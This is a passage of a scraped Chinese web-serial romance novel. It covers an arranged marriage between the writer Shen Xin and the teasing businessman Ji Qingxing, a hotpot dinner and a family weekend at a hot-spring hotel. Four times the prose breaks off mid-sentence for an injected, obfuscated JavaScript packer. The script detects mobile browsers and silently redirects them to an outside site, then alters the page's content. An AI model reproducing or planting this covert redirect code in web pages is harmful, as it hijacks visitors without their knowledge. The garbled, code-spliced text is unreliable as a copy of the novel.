“为什么?”纪轻行很不理解,“你天天待在家里无所事事,不觉得无聊?” “我没有无所事事。” “那你在干什么?” 先前沈昕确实偶尔说有事,还反锁门不让打扰,甚至熬夜到很晚。 纪轻行想了想,问:“打游戏吗?” 沈昕随口道:“不打游戏,平时就……看看书。” “哦?”纪轻行来了兴趣,“看什么书?” 沈昕含糊道:“什么都看。” “哪种看得多?名著?你喜欢哪个作家?网络小说看吗?” 沈昕没想到专门挑了个非常中庸的回答,纪轻行居然还打破砂锅问到底。 不想就这个问题聊得太深,他继续糊弄:“都看,随便看,新闻啊电子杂志什么的,看过就忘了,没有喜欢的作家,也不看网络小说。” 说完,不确定是不是看错了,纪轻行盯着他的眼神里似乎有一些……失望? “每天就躲在家里看杂志啊?哪种杂志?流行时尚吗?” 沈昕胡乱地“嗯”了一声。 纪轻行又开始用那种“验货”的眼神上下打量他,沈昕觉得,如果这次也没看错,那么纪轻行对他的检验结果便是:此人的确是个绣花枕头。 不工作。 有业界大佬支持依然拒绝。 天天在家看时尚杂志。 并且看过就忘。 …… ………… ……………… 纪轻行又充满疑惑地问:“我记得你爸说你是学文科的,而且学的不错?” “还行吧。”沈昕只想赶紧结束这场盘问。 “什么专业?” 比较文学。 但他没说出来,因为他总觉得纪轻行在找漏洞。 他迅速挑选了一下,说:“学前教育。” 纪轻行一愣。 片刻后笑了,吊儿郎当地说:“挺好。以后咱俩生个小孩儿,你这专业还能派上用场。” 沈昕下意识道:“医者不自医,大部分老师都教不了自己的孩子。” “呦。”纪轻行笑得一脸流氓,“沈少真想给我生小孩儿啊!” 沈昕“唰”地脸红,转身上楼,撂下一句“你想得美”。 他俩这种婚姻性质,新居的设计全权交给了全屋定制机构,连书房里的书都是机构选的,主要起到一个造型上的效果,数量不多,也毫无含金量。 沈昕看着虚有其表的书架,有点后悔。 前几天他还考虑过要不要把自己的藏书都搬过来,最近一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320364|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看电子书,终究不如纸书好,结果刚才那样一说,一时之间也不好搬了。 打开手机,准备看看读者对新章的反馈,发现“沉老师的狗”又给他打赏了一艘飞船,就在他更新后没多久,附言:长评稍后送上。 沈昕打开私人聊天板发消息—— [谢谢打赏。] [其实订阅评论我就已经非常开心了,不需要频繁大额消费,把钱攒下来留给自己的生活更重要。] 以前不联系读者,类似的话他只是在文后公开说,现在既然联系了“沉老师的狗”,直接说给对方就是有必要的。 很快,“沉老师的狗”回复了。 [谢谢老师的提醒。] [老师真好。] [您放心,我是成熟理智的成年人,所有消费都在自己的承受范围内。] [其实我不止在这里看小说,老师发在期刊杂志上的专栏文章和出版的散文集、随笔集,我都有看,篇篇不落。] [读老师的书本身就是我生活的一部分。] 沈昕:! 这些年来,他写过很多不同类型的东西,严肃文学、学术文章虽然数量不多体量不大,但评价不错,只是看得人少,他目前写作的主力和读者的主力仍在网络连载上。 没想到“沉老师的狗”居然…… 不过也正常,毕竟是位相当有深度的读者。 那就谢谢富婆! 晚上,他继续构思,想累了就看书,之后去洗澡。 洗着洗着突然冒出一个念头。 他有点被这念头吓到,但于情于理……也是应该。 他鼓起腮帮子,心想要行动就快,再拖下去,明天又得陷入同样的焦虑。 行动之前要复习一下行动纲领。 回忆起和“沉老师的狗”的聊天,将对方说的“把应该做却不愿做的事情当工作,不仅能说服自己,还能消除抵触”认认真真地默念了几遍。 - “咚咚咚——” 纪轻行的卧室门被敲响。 他刚写完给沉心的长评,正心满意足地准备睡觉,这时一愣。 门外只能是沈昕。 这么晚了,有什么事? 掀被子下床,一打开门,里外两人都愣了。 “你……” “你……” 异口同声,又同时停下。 纪轻行下巴一扬:“你先说。” 沈昕有点尴尬,偏开视线小声道:“你怎么不穿衣服。” 纪轻行莫名其妙地低头看自己:“我没穿衣服吗?” 如果只有一条内裤也算的话。 沈昕垂着眼睛不吭声。 纪轻行便道:“说完了?” “嗯。” “该我了?” “嗯。” 纪轻行又上下扫视沈昕,还探头往走廊上看了看:“你房间被炸啦?” 沈昕匪夷所思地抬起眼睛。 纪轻行露出非常流氓的笑容,继续上下扫视:“要不然怎么全副家当都搬过来了?” 沈昕穿着长袖长裤的睡衣,胳膊向前抱着被子、枕头、抱枕,手指上还勾着手机、耳机和眼罩。 纪轻行调侃他,他被说得脸红,一气之下转身就走。 却又被用力扶住肩膀,连推带拉地进了屋—— “想你老公我了是不是?不要害羞嘛。来都来了,不住一晚岂不是亏?” 8. “人渣”先生 沈昕僵硬地坐在床边,“全副家当”依旧抱在手里。 “之前说了,我愿意继续你和我爸的协议,我记得你对我不跟你睡一张床很不满,所以从今天开始我……” “从头到脚裹得严严实实,还自带被子,除了挤占我的睡眠空间,有其他意义?” 沈昕小声反驳:“我这是第一次跟人睡一张床,需要时间适应。” “哦,准备适应多久?” 沈昕想了想,说:“不知道。” “那我不想一直被你占地方啊。”纪轻行幽幽地说。 “那我走。” “那你又说继续我和你爸的协议?” 沈昕:…… 好烦。 纪轻行这个人真地好烦。 即便抱着“只是工作”的心态,也是那种分分钟想要辞职的工作。 他深呼吸了一下,抬头问:“那你说怎么办?” 纪轻行看着他道:“给你定个计划?” “什么计划?” “三天盖一条被子,五天裸睡,七天抱抱,九天蹭蹭……” 沈昕从怀里抽出枕头,冲着纪轻行狠狠一砸。 但枕头太轻,“狠狠”没能表现出来,反而—— “哎呀!”纪轻行夸张地抱住枕头弯下腰,“谋杀亲夫!我要死了!” 沈昕:………… “你能不能好好说话?” “我怎么没好好说话了?” 沈昕又非常努力地深呼吸,说:“我的确愿意继续你和我爸的协议,我会认认真真地做该做的事,只是希望你不要这么……下流。” “我下流?”纪轻行皱眉,“沈少,你知不知道别人新婚天天都干什么呢?而我和你在干什么?你还说我下流?” “别人是有感情的。” “哦,言下之意,咱俩没感情。” “那当然啊。” 纪轻行心里有别人,看样子又想两头都占,他们怎么可能有感情。 他愿意把婚姻当工作经营,已经是底线了。 这时纪轻行突然沉默,不知道在想什么,脸色也恢复正常,过了好一会儿才说:“那你觉得应该怎么办?” “正常办。”沈昕说,“你可以提要求,正常要求我都会满足,有的可能需要一些时间做心理准备,但一定不会很长,也不会糊弄敷衍,只希望你……注意一下说话方式。” 非常诚恳,但…… “你这人真无聊。”纪轻行总结道。 “抱歉。”沈昕继续诚恳。 “行吧。”纪轻行像是接受了,在卧室里来回走着,“第一个要求,你要做饭。” 沈昕困惑道:“不是已经有做饭阿姨了?” “我又不是跟做饭阿姨结婚。” 沈昕仍旧皱眉。 纪轻行无奈地解释:“没有让你天天做顿顿做的意思,也没有让你做什么大餐,只是时不时地简单做一做,让这个家像个家罢了。” “为什么是我做?” “因为你不上班,有时间啊,我要是像你一样有这么多时间我早做了,就是现在,我也会抽空帮你。” “真的?” “切。”充满不屑的语气词足以表达一切。 “那……好吧,我试一试,我一直只会做速食,几乎没正经开过火,可能做得不好吃,你不要介意。” “无妨,你有伺候你老公我的心就可以了。” 沈昕一记眼刀飞过来,纪轻行一愣,接着哈哈大笑。 “顺口说习惯了,不好意思,你可以罚我,来,扇我的脸。”非常无耻地把脸凑到沈昕面前。 沈昕不动。 “不扇啊?现在不扇以后没机会了啊……真不扇啊?真不扇的话我可就……睡觉了啊!” 突然一推沈昕,两人一起向后倒在床上。 沈昕“啊”地大叫,迅速拉被子围住自己缩起来,纪轻行跪在床上,居高临下地看着他。 不再嬉皮笑脸。 表情琢磨不透。 眯起的眼里带着明显的欲。 沈昕攥住被子,垂下眼帘说:“给我一些……准备的时间。” 他这一垂眼,正好看到重点,脑中随即炸开,索性把眼睛闭上。 黑暗中万籁俱寂,他的心跳一声一声,不断变得清晰,不断加快速度。 纪轻行没有动静。 等待他的会是什么呢? 纪轻行刚刚才答应了他,应该不至于立刻食言。 可是他对纪轻行不了解,万一他是个人渣…… 不,他就是人渣,明明心里有别人,明明很看不上他,却能对他产生想法。 嗯,没错,就是人渣。 突然,人渣笑了起来,哈哈哈哈不断,像被点了笑穴,声音大得几乎穿透房顶。 沈昕睁开眼睛,只见纪轻行倒在床上,抱着他那边的被子来回打滚。 沈昕:? 好半天,那家伙终于消停,能平躺了,只是仍然喘个不停。 还用双手按笑得发酸的腮帮子:“你那是什么反应,又害怕又三贞九烈的,也太、太好笑了!” 沈昕:……………… 不行。 纪轻行真地太讨厌了。 怎么有这么讨厌的人? 别人的工作里也有这么讨厌的人吗? 最终,两人在大床上各睡一边,各盖各的被子,沈昕还特意把被子盖得很严,整个人贴着床边,几乎整晚保持同一个姿势。 非常不松弛。 也不只是怕纪轻行突然又“人渣”,而是真地不太习惯。 他虽然很理解,也在书里写过许多深刻的情感,但真到了自己身上就很困惑:究竟什么程度的关系才能让两个人完全地、自如地向对方袒露一切? 怎么纪轻行就可以? 明明他们才刚认识。 哦对,因为他是“人渣”。 伴随着胡思乱想,沈昕睡着了。 这一觉是这几天来最沉的一觉,醒来的时候,“人渣”已经不见了。卧室里不再有压力,充满了清新的气息。 沈昕起床、洗漱、冲咖啡、开电脑,上午在沉静的写作中度过。 中午阿姨过来做饭,沈昕想起纪轻行的要求,告诉阿姨下午不必来,又取了取做饭的经。 午饭后在小区里走了走,回来看书,接着继续写稿。 直到来电铃声将他打断。 “做、饭、了、吗?” 不知道“人渣”先生哪里来的这么大的精神头,说话像演戏一样,一字一顿、曲里拐弯,饱含着调侃、期待、威胁等等非常复杂的情感。 “没呢,这才……五点,你平时回来最早不也七点多了。” “今天不忙,我快到家了,你出来吧,咱们去万代买点儿食材。” “家里不是还有……” “没有我爱吃的。” 不容置疑的语气。 可是…… 沈昕犹豫地看着写了一半的文档。 “怎么?不想出来?你在家干什么呢?” 沈昕攥着手机想,总不能说看时尚杂志吧。 哎,承诺的打赏加更福利又得延时。 只能再苦一苦“沉老师的狗”了。 “没有不想,我现在来。” “嗯。”纪轻行舒坦了,又得意起来,“打扮一下啊,给你老公我长长脸。” “去门口的超市而已,又不是去走红毯,而且你的脸已经很长了,再长就……” 沈昕及时打住,没有继续说。 因为一旦说出来纪轻行肯定要纠缠,斗嘴很累,他不想把宝贵的力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320365|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪费在这儿。 挂了电话,却不由自主地开始想象纪轻行的脸和自己没说完的话,“噗嗤”一声笑了。 到了超市,纪轻行一路如入无人之境,明显是提前想好了要买什么。 沈昕看着放入购物车的东西,问:“你要吃火锅?” “嗯。你不是说没正经开过火么,老公不为难你,循序渐进,从火锅开始,又简单又好吃。不过也不能这么轻易地就饶了你,所以呢,今天咱们一部分买净菜,一部分自己洗切,荤类就一部分买腌好的,一部分自己腌,怎么样?你老公我是不是很聪明?” 沈昕:…… 我老公你是个神经病。 食材装满一车,纪轻行扶着把手,像开豪车一样利落地转了个向,另一只手牵住沈昕,迈开大步向前。 “走,回家吃饭!” 沈昕怔怔地看着那与自己交握的手。 手掌很大,手指很长,骨节分明。 肤色比自己的深。 手腕处露出一小段金属表带与黑色衬衫袖口,袖口底下隐约似乎…… 有颗痣,红色的,位于脉搏跳动的地方。 沈昕的心也跟着怦怦跳。 - 今天的纪轻行不太“人渣”。 说是让沈昕做饭,实际全程主导。 两人一起在厨房备菜,一边拿手机查什么肉怎么腌好吃。 七点钟,餐桌上摆满了鲜菜鲜肉,鸳鸯电火锅两边一白一红,冒着滚滚热气。 沈昕拿着筷子坐在桌边,突然觉得纪轻行的决定很对。 中午他向阿姨取经之后,本来决定晚上煮个白粥,拌个沙拉,再煎个牛排——新手正经饭。 但与火锅一比,同是新手正经饭,他的想法未免过于寡淡,缺乏…… 家的味道。 对,就是纪轻行说的“让这个家像个家”。 两个人一起准备火锅也的确比一个人煮粥拌沙拉有趣。 想到这里,沈昕稍稍捏紧筷子,问:“纪总,你昨天说不想当冤大头,要考虑一下是否继续和我爸的协议,你现在……考虑好了吗?” 正涮菜的纪轻行从白色热气上抬头,说:“有时候看你挺聪明的,有时候又真的很蠢。” 沈昕:? 言下之意…… 考虑得这么快吗? 还是说昨天那么说只是在耍他? 纪轻行笑了:“能不能不要再叫我纪总,回家了还跟在上班似的。” “你不也把我叫沈少?” “行,以后不叫你沈少,叫你……小昕昕怎么样?” “不怎么样。” 沈昕冷着脸说完,低头吃肉,余光看到纪轻行怔了一下,像是想到了什么,又自嘲般地摇了摇头。 ……多半有事。 沈昕一下就联想到了纪轻行心里的那个“别人”。 果然还是人渣。 吃了一会儿,“人渣”突然说:“问你个事。” 沈昕看他挺严肃的,不禁也严肃起来:“什么事?” 纪轻行放下筷子:“你实话实说,我的脸真地很长吗?” 沈昕一愣。 不久前,他想象的纪轻行的脸变成马脸的画面再次浮现,又因为现在纪轻行就在面前,2D变作了3D,还会动,还有声音,他实在忍不住了,非常没形象地笑了出来。 纪轻行倒没太大反应,托腮看着他,幽幽说道:“什么呀,你这不是挺会笑的嘛。” 沈昕再一愣。 突然间,他意识到了一些东西。 这两天发生的事情,各种细节飞速掠过,他脱口而出:“你、你其实一直在想方设法地……逗我开心,是不是?” 纪轻行缓缓挑了下眉,眼里笑意深了。 “什么意思啊?展开讲讲呗。” 9. 嘴硬 这几天对于沈昕而言,是人生中非常不平凡的一段时间。 发现了婚姻的真相。 发现了家人的虚伪。 发现了自己的愚蠢、孤独和可怜。 他没有歇斯底里的崩溃,没有整日以泪洗面,没有一蹶不振自卑自伤,他依旧正常地生活,但不代表…… 他不会难过。 他一定非常难过。 正常人都会非常难过。 纪轻行深知这一点。 但纪轻行没有挑明,而是选择用自己的方式逗他开心—— 说些不着边际的话,开些没皮没脸的玩笑,调动他做些日常琐事转移注意力,或是释放一下情绪。 比如昨天,二人插科打诨有来有回; 比如现在,他真地笑了,发自内心,完全不设防。 以上种种,沈昕很认真地为纪轻行“展开讲讲”。 心想纪轻行固然“人渣”,但有些时候在有些方面,倒也还可以。 纪轻行的眼神依旧意味深长,半晌后评价道:“你想象力挺丰富。” “我想错了吗?”沈昕蹙眉问,又鼓了鼓腮帮子,煞有介事道,“如果我想错了,就说明你没有那么好,你还是一个骨子里就又流氓又毒舌的神经病。” 纪轻行:…… 怎么把自己装进去了? “我很好奇,你在工作上也这样吗?”沈昕又问,“周围的人没意见?” “那当然不,只有小昕昕你是‘特别’的,只有你才能享受到我专有的‘流氓’和‘毒舌’。”纪轻行故意浮夸地咬牙切齿。 沈昕一脸无奈:“我又很好奇,你究竟多大了?” “十八公分,绝不掺假,要试试吗?” 势要将流氓和毒舌进行到底,否则岂不白被装进去了。 于是接下来,沈昕再也不说话了,他要好好吃饭,不能辜负了火锅。 饭后也不理纪轻行,进书房继续写稿。 可惜不知道是因为白天已经写了很多,消耗了太多精力,还是因为受了可恶的纪轻行的影响,注意力一直难以集中。 只好明天再写。 晚上按计划,还是和纪轻行各睡一边。 纪轻行在浴室洗澡,沈昕躲在被子里,给“沉老师的狗”发信息—— [抱歉,本来今晚能发加更福利的,但家里突然有事耽搁了,明天应该能发。] 没有收到回复,很正常,人不可能时时刻刻守着手机,何况这只是阅读软件内置的私人聊天板,及时性远不如专门的社交软件。 沈昕放下手机闭上眼睛,开始酝酿睡意。 朦胧之中,他感觉到纪轻行过来了,没有躺下,而是坐在床边,半天都没动。 他有点奇怪,勉强睁开已有困意的眼睛,发现纪轻行正捧着手机敲字,看来是在回消息。 又看了眼床头柜上的夜光时钟,已经过了午夜12点。 不愧是纪总,日理万机。 沈昕懒得管他,闭上眼睛,很快睡着了。 片刻后,纪轻行扭过头来,静静地看了一会儿从被子里露出小半张脸的家伙。 眼里情绪复杂。 最终,他关了夜灯,将一切融进漆黑的长夜。 [没关系,沉老师,我不着急,老师专门给我加更福利我已经足够开心了,不管多久都会等的!] [正好复习老师的旧书,读到《尚未遇见你》里两个主人公在家吃火锅然后确定关系那段,细节真实、静水流深的幸福感真地很打动人,太令人向往了。] 第二天一起床,沈昕就看到了“沉老师的狗”的回复。 昨天凌晨回的。 也很能熬夜啊。 《尚未遇见你》是他写的第一本小说,各方面都很青涩,但正是这种青涩让整个故事呈现出了很强烈的真诚与真实感,很容易就令读者产生共鸣。 所以,那虽然算不上一本非常好的书,口碑却一直不错。 原来“沉老师的狗”也喜欢那本书。 而且尤其喜欢那一段。 - 这两天,沈知易开始联系他,他没接电话。 他知道沈知易要说什么,无非是问问日常情况,表达必须表达的关心,然后说自己的难处和一些并无实际意义的歉意,最后,也是最重要的,问问他和纪轻行过得如何,关系是否融洽。 纪总愿不愿意拉他一把,远比那个早已被抛弃的儿子重要得多。 电话不接,沈知易又发信息,梁瑛也发,次数不多,每次也只是一句两句。 这样过了一周,沈知易终于长篇大论了一次—— [昕昕,爸爸知道你心情不好,不想理爸爸,爸爸不怪你。爸爸给你打电话发信息,一是想知道你最近过得怎么样,那天你走得急,爸爸其实很担心,你梁叔叔也很担心,我们一晚上都没睡觉,但考虑到你正在气头上,爸爸不想火上浇油,所以没有立刻找你。二是,爸爸想等你过了气头,好好跟你聊聊,咱们毕竟是一家人,父子俩,哪有隔夜仇呢?] [手机上很多话说不清楚,这个周末来酒店泡泡温泉看看电影,一家人轻松轻松怎么样?我也邀请了小纪,他同意了,你们结婚后还没和长辈聚过,这次正好补上。] [昕昕,无论发生什么,无论怎么不开心,一直躲着不面对不见人,总不是办法。听爸爸的话,别太固执了。] 沈昕无语。 怎么说的反而全成了他的错? 晚上纪轻行回来,他问起这件事,纪轻行点头道:“是,我同意了,到时要聊注资的具体条款,涉及到我的生意和我的钱,我当然要去。哦,没有一定要带你的意思,你去不去,自己决定就好。” 沈昕明白了。 和纪轻行谈注资是关键,一家人一起过周末只是附带。 又或者说,现在哄他、安抚他,也是为了让纪轻行更加爽快地出钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320366|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实上他哪有左右纪轻行的本事? 沈昕说:“决定好了,我也去。” “理由?”纪轻行有点意外,“我以为你不想看见他们。” “看见他们的确会让我不开心,但是我……又想看看。” “看看?看什么?” “看方方面面,看看他们究竟是怎样的。” 以旁观者的角度和态度。 这么多年了,他不想继续稀里糊涂。 周五晚上,沈昕开车前往自家位于市郊,主打度假休闲的温泉酒店。 纪轻行打来电话说公司临时有会,他最快得三个小时以后才能到。 “知道了。”沈昕语气平淡。 这么容易就接受了,纪总不太高兴,问道:“你现在在哪儿?” “快到了。” “你可以来我公司,或者找个地方等我。” “为什么?” 不识趣令纪总更加不高兴。 “那你随便,我挂了。” 这时沈昕突然反应了过来,忙说:“等等。我、我一个人对着他们三个……甚至四个也没什么,真觉得不自在了我就回房间。” “你在说什么呀?别自作多情好么?”纪轻行又拿起腔调来,“我让你等我可不是因为担心你不自在,而是因为你既然跟我结婚了,就得履行伴侣义务,陪同我一起出入大小场合,懂么?” 沈昕:…… “不懂。” 说完便挂了电话。 办公室里,纪轻行蹙眉看着通话中断的手机,自顾自地念叨:“明明知道会不自在,嘴硬个什么?” ……嗯? 嘴……硬个什么? 纪总仿佛看到一枚巨大的回旋镖向自己飞来。 这时助理敲了敲半开的门,探头道:“纪总?” “怎么了?” “日报发给您了,没其他事的话我下班了。” “好。” “您还要加班?” “不加班,休息一会儿,晚上家里有个聚会。” “哦,那纪总拜拜!” “拜拜,路上注意安全。” “好的纪总,您周末愉快!” 希望吧。 纪轻行把椅背向后调了调。 第一步,给用心不纯的亲家下马威,成功; 第二步,收服苦大仇深的媳妇,失败。 但无所谓,他纪轻行能有今天,关键就在于不怕失败。 没有挑战的事情做成了也没意思,相比确定的结果,他更喜欢一点点征服直至占有的过程。 现在看来,沈昕其人比最初以为的有趣很多。 也正因此,他才会在知道被沈知易摆了一道以后还继续这段婚姻。 总要干点儿什么来打发这段“下马威”的时间,纪轻行想起助理的话,划开手机,打开阅读软件发私信—— “沉老师,周末快乐。” 10. 帝国麝香 沈昕到了酒店,按沈知易发的位置来到水上乐园,一眼就看见梁瑛坐在岸边的长椅上。 他走过去,梁瑛扭头看见他,姿态和表情紧绷了一瞬,不自然地笑说:“昕昕来了?坐,想喝什么?我让大堂吧送过来。” “不用了,不渴。” 沈昕没有坐,就站在长椅旁边,随意扫了眼梁瑛。 他穿着宽松的浴服,半个月没见,肚子明显更大了。 水上乐园一片喧闹,沈昕看过去,只见沈知易和童童在里面又笑又叫,不亦乐乎,正是所有带孩子玩的父亲和有家长陪玩的孩子最典型、最幸福的样子。 沈昕蹙了蹙眉。 梁瑛识趣地说:“我叫他们上来。” “不必,让他们玩吧。” “没事儿,周五放学早,五点钟就过来了,也玩够了。” 梁瑛走到水池边,喊了几声童童的名字,沈知易和童童一齐看过来,看到沈昕时一齐一愣,相互对视了下,拉着手往岸边走。 上了岸,梁瑛给沈知易递上浴巾,又拿了一块帮童童擦。 童童一边擦水一边目光不离沈昕,表情又好奇、又开心、又谨慎。 沈知易说:“昕昕,你也换上衣服去玩一会儿?” 沈昕摇摇头:“不玩了,没什么兴趣。” 沈知易顿了顿,勉强笑道:“也是,你从小就喜欢安静,喜欢一个人待着,不爱打打闹闹。”顺手摸了下童童的头,“你跟你哥哥学一学。” 接着又是一番渴不渴饿不饿的话,最后说:“原定咱们一家人一起吃晚饭,小纪刚才跟我说他开会,要迟来,我就让厨房停工了。你知道他具体几点能到吗?我想着让厨房有个计划,等他一到就能吃上新鲜热乎的。” 无微不至,是伺候“金主”的态度。 沈昕简单答道:“他没说准确时间。” 沈知易动了动嘴唇,眼神欲言又止。 他的意思是希望沈昕随时了解纪轻行的动向,随时报告,让他把这次接待办得漂漂亮亮。 沈昕明白。 但不想接这茬。 沈知易犹豫来犹豫去,终究没好意思直说。 四个人杵着,沈昕觉得现在除了尴尬也“看”不出别的,提出先回房间,不等沈知易应就走了。 沈知易给他和纪轻行安排的是这里最好的房型。 豪华套、山景、附带独立的室外温泉庭院。 可惜现在的他没心情享受。 打开阅读软件,看到“沉老师的狗”发来的信息。 周末快乐? 行吧。 如果说他今天的不快乐是满值,那么这四个字至少帮他消除了10%。 回复了[谢谢],沈昕开始想话题。 等人的时间里,跟“沉老师的狗”聊一聊,或许10%会变成20%、30%……甚至更多。 “沉老师的狗”这会儿看来也正闲,回信息速度非常快。 二人的聊天依旧围绕沈昕的书,以前的,正在连载的,未来的计划,有来有回,滔滔不绝。 这些年来,沈昕一个人埋头写作,深知这条道路注定孤独,他愿意走进这份孤独,享受这份孤独,但今天他突然意识到,再孤独的事也可以找到另一个人来分享。 分享也很快乐。 分享更有收获,他一个人在一条路上走了太久,偶尔钻牛角尖,偶尔一叶障目,便需要另一个人指出那些藏在迷雾后面,被他忽略了的道路。 聊完写作,沈昕觉得他和“沉老师的狗”也算熟悉了,可以进一步聊聊生活,便问:[你周末打算做什么呢?也祝你周末快乐。] 沉老师的狗:[谢谢老师,不过周末有应酬,大概率快乐不起来。] 沈昕心说同命相连,回复道:[我也。哎,我不擅长也不喜欢应酬,只能当作取材了。] 沉老师的狗:[我倒是擅长,但也不喜欢。] 沈昕:[不知道咱们俩谁更痛苦一些。] 沉老师的狗:[既然能找到好的一面,就不必称之为痛苦,最多是辛苦,辛苦就还能接受。] 沈昕一怔。 通透,是“沉老师的狗”最让他佩服的地方。 听君一言,他学到了,心里的压抑得到了缓解。 他突然觉得饿了,看了眼时间,晚上快九点,便退出阅读软件给纪轻行发信息。 [还没开完会?] 他想,此时的纪轻行要么在开会,要么在路上,应当不会很快回信息,结果没想到几乎同时屏幕上就跳出来一个—— [没]。 言简意赅,惜字如金,连标点符号都没。 ……行。 这时沈知易也打来电话。 “昕昕,你晚上吃东西了吗?小纪一时来不了的话,你先吃点儿垫垫肚子。” 是关心他,更是试探。 沈昕说:“不用等他了,你们吃饭吧。” 毕竟那边又是孩子又是孕夫的。 沈知易明显一慌:“怎么了?小纪不来了吗?” “没有,就是还在开会。” “哦。”沈知易松了口气,“那没关系,还在开会咱们就等一等,第一次一起吃饭,不好不等。我让童童他们先随便吃点儿,你也是,别饿着自己。” “嗯。” 挂断电话,沈昕让酒店餐厅送餐。 不是垫垫肚子,是很正经的晚饭。 纪轻行不知道什么时候才能来,他不想为了他委屈自己。 酒店的厨师很不错,饭菜色香味俱全,他端去阳台吃,对着温泉庭院的夜景与远处影影绰绰的山景,美不胜收。 十点多,纪轻行还没有一丝儿到来的迹象。 沈昕突然反应过来,那家伙很可能是故意摆谱。 既然如此,他索性就不等了,该干什么干什么。 径自去洗澡,洗完出来,看着房间里唯一的一张大床,决定穿上酒店提供的长款厚睡袍。 另一间豪华家庭套房里,沈知易站在阳台上抽烟,一脸烦躁地不停看手机。 里间大床上,童童躺在被子里眨巴眼睛。 “爸爸,今晚没吃大龙虾,明天能吃吗?” 梁瑛坐在旁边摸他脑袋,温和地说:“嗯,等哥哥的爱人来了,咱们一起吃。” “哦,那,万一……”童童的眼睛转了转,“哥哥的爱人明天还不来呢?” 梁瑛表情愣了一瞬,余光瞥向阳台,勉强笑道:“不会的。” - 不知睡了多久,沈昕被一声轻响吵醒,光线跟着一亮,他下意识皱眉,脑袋更加往被子里缩。 “纪轻行?”他含糊问道。 “嗯。”回应的嗓音沉稳。 沈昕想问问几点了,还想问他吃饭了没有,想说冰箱里放着甜品和饮品,但实在太困,没劲儿动嘴,想过就以为说过,弓起身子继续睡了。 站在床边的纪轻行:…… 好像一点儿也不为自己堪称离谱的迟到生气嘛。 本以为会迎来一场吵闹呢,辩词儿都准备好了,结果睡得死猪一样。 倒是显得尤其乖巧好摸,让人很想上手。 却又暂时不能。 这上哪儿说理去。 带着一种不上不下的心情,纪轻行从冰箱里拿了瓶冰水出来,坐到外间沙发上喝。 第二天早上,沈昕是被压醒的。 睁眼回头一看,纪轻行紧贴着他的背,一条胳膊和一条腿搭在他身上。 还好穿着睡袍。 但也足够翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320367|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个白眼。 他不想碰他,没有直接伸手把他的胳膊腿掀开,而是撑着床借力,轻手轻脚地往床边挪。 好不容易挪出去,身后却响起笑语—— “你蛄蛹什么呢?穿越火线匍匐前进啊?” 很明显,纪轻行早就醒了,之所以装睡,就是为了看他笑话。 沈昕下床站好,再一看,纪轻行单手托腮侧躺着,笑得非常无耻,说:“也的确是穿越火线,大清早的,我这火正旺呢。” 沈昕:…… 他忍无可忍道:“你不会以为你现在很有魅力吧?” “难道不是吗?十八公分,要不要看?” 沈昕:………… “有你在,酒店都不用买油了。” “干嘛这么说啊,我伤心了小昕昕,我昨天可是一开完会就马不停蹄地赶来陪你,一路奔驰,结果你却睡了,你……” 沈昕冷笑。 纪轻行便明白了。 他坐起来,意有所指地说:“知道了?” 没有半点尴尬。 “我爸肯定也想到了,他不傻。” “想到了最好,就是要让他想到,他要是想不到,真以为我被事情绊住了,我岂不是白整这一遭?” “何必呢。”生意人的弯弯绕绕,沈昕不懂,也懒得懂。 二人各自洗漱,纪轻行从头到脚一顿捯饬,成功去油,黑色衬衫配银灰色西装,兼具公子哥的矜贵与成功人士的派头。 沈昕看着地上的箱子,震惊道:“你特意带了一套新西装?” “不行么?”纪轻行理所当然地说,又从裤兜里掏出一个绒面小盒,对着沈昕“嘭”一声打开。 沈昕的脸“唰”地红了。 那是一对戒指。 传说中他俩的婚戒。 他俩这种“抽空儿去领个证”的婚姻,婚戒这种东西从来只听说过没见过,更别说戴了。 “来。”纪轻行不容置疑地说。 沈昕便从中取了一个,纪轻行拿下另一个,往左手无名指上套:“是不是拿错了?你的应该比我的小。” 沈昕捏着戒指在手指上转,确实大了,他摘下来递过去。 